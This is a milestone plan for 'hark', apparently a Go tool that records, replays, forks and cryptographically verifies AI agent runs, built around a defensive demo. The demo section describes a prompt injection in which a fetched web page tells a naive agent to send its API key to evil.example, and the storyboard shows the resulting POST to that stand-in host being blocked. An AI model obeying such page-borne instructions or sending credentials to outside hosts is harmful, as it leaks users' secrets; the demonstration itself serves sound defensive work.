Skip to content

Latest commit

 

History

History
147 lines (106 loc) · 6.16 KB

File metadata and controls

147 lines (106 loc) · 6.16 KB

W4 — the incident, and v0.1

Goal. The full prompt-injection story runs end to end from one terminal, and v0.1 ships.

v0.1 must stand alone as a finished artifact. Weeks 5 onward overlap with interviews and are upside, not commitment. If everything after this week were abandoned, what exists here has to be worth showing on its own.

Prerequisites

  • W3 complete: replay works and is verified on a second machine.

Deliverables

File Responsibility
internal/fork/fork.go Replay a prefix, apply a patch, go live.
internal/rekor/rekor.go Anchor the sealed root in the transparency log.
internal/report/report.go Render a bundle as a single static HTML file.
cmd/hark/fork.go hark fork.
demo/ The injected agent, its policy, and a runnable script.

Tasks

1. The demo agent

  • A small Python agent: fetch a page, summarise it via the model, act on what it says.
  • A local page containing an injected instruction: exfiltrate the API key to evil.example.
  • A policy allowing only the model host.
  • demo/run.sh driving the whole thing.

Keep the agent genuinely small and genuinely naive. A convoluted agent invites the reader to think the vulnerability was contrived rather than typical.

Acceptance. The agent is injected, attempts exfiltration, and is blocked — with both controls visible: the egress denial, and the fact that the key it tried to leak was the placeholder.

2. Fork

  • hark fork <bundle> -at N -patch p.json.
  • Replay [0..N) action by action, confirming the prefix root matches before going further. If it does not match, abort — a fork from an unverified prefix proves nothing.
  • Apply the patch to event N.
  • Switch to live from N onward.
  • Emit a child bundle with ParentRoot, ForkPoint, PatchHash set.

Acceptance. Forking with the injection stripped produces a run with no exfiltration attempt, and the child bundle records its parent's root.

Say "provably identical prefix, live suffix" in the output. Never call a fork bit-exact.

3. Rekor anchoring

  • At seal time, submit the signed tree head and store the entry reference and log index.
  • Make it optional and non-fatal: a network failure must not destroy an otherwise good bundle. Seal unanchored and say so.
  • hark verify fetches the inclusion proof when the bundle carries an entry, and reports it as a distinct line.

Acceptance. A sealed bundle carries a real log index. hark verify on another machine confirms inclusion. An offline seal still produces a valid bundle marked unanchored.

4. Static HTML report

  • hark report -o trace.html <bundle> — one self-contained file, no server, no framework, no external requests.
  • Timeline of events, the denial highlighted, request and response bodies expandable.
  • Header shows run id, root, signature and anchor status.

A single file is easier to attach to an issue than a running service, and it makes a better README GIF.

Acceptance. Opening the file in a browser with the network disabled renders fully.

5. Benchmarks

Follow docs/benchmarking.md — methodology is already written, so this is execution.

  • Mediated-call overhead, p50 and p99, against a local stub.
  • Replay wall time versus the original. The headline number. Report the ratio, the absolute times, the event count, and the slowest of five runs alongside the median.
  • Log size per 1,000 events, raw and compressed, broken down by kind.
  • Verify time and inclusion-proof size at 100k events.

Acceptance. Every number in the README traces to a documented method and a stated environment.

6. README and the demo GIF

  • Record the incident loop as a GIF, above the fold — demo/demo.gif, recorded on the box with asciinema + agg.
  • Quickstart that works from a clean clone.
  • The verified related-work table from W0.
  • The determinism scoping paragraph, unchanged.

The demo, shot by shot

90 seconds. Captions rather than narration. Split screen: agent terminal left, mediator event stream right.

0:00  agent fetches a page containing an injected instruction
0:12  the plan flips; it composes POST https://evil.example/collect?k=...
0:20  EGRESS DENIED -- host not in allowlist          [red frame, right pane]
0:25  ...and the key it tried to leak was hark-placeholder-01J8X   [second control]
0:35  scp the bundle to a laptop
0:40  hark replay -> REPLAY-EQUAL  root 3f9a...c21   (3.1s vs 4m12s)
0:55  hark fork --at 47 --patch strip-injection -> no exfiltration
1:10  hark verify -> transparency log inclusion OK, index 84102941

The two independent controls at 0:20 and 0:25 are what make it memorable: defence in depth, shown rather than claimed. Lead every posting with the incident, never with the architecture.

Traps

Scope creep. Everything not on this page is W5 or later. If a pillar cannot be shown with one terminal command, it is not in v0.1.

Over-polishing the report. It is a static file that proves the data is there. An afternoon, not three days.

Benchmarking against a live endpoint. Upstream latency varies by orders of magnitude and would swamp what is being measured. Local stub for overhead; label end-to-end numbers separately.

Anchoring as a hard dependency. Rekor being down must never mean a run cannot be recorded.

Definition of done

  • Build, vet, gofmt, test, race green.
  • demo/run.sh works from a clean clone on a fresh box.
  • Replay verified on a second machine (bundle carried to a Windows laptop and verified there).
  • A fork with the injection stripped behaves differently, and provably shares its prefix.
  • Anchored bundle verifies its inclusion from another machine.
  • Report renders offline.
  • Every README number has documented methodology.
  • CHANGELOG [0.1.0] section and git tag v0.1.0.

Expected commits

feat(fork): branch a run from a verified prefix
feat(rekor): anchor sealed roots in the transparency log
feat(report): render a bundle as a self-contained HTML trace
feat(demo): add the prompt-injection incident
docs: publish benchmark methodology and results
docs: v0.1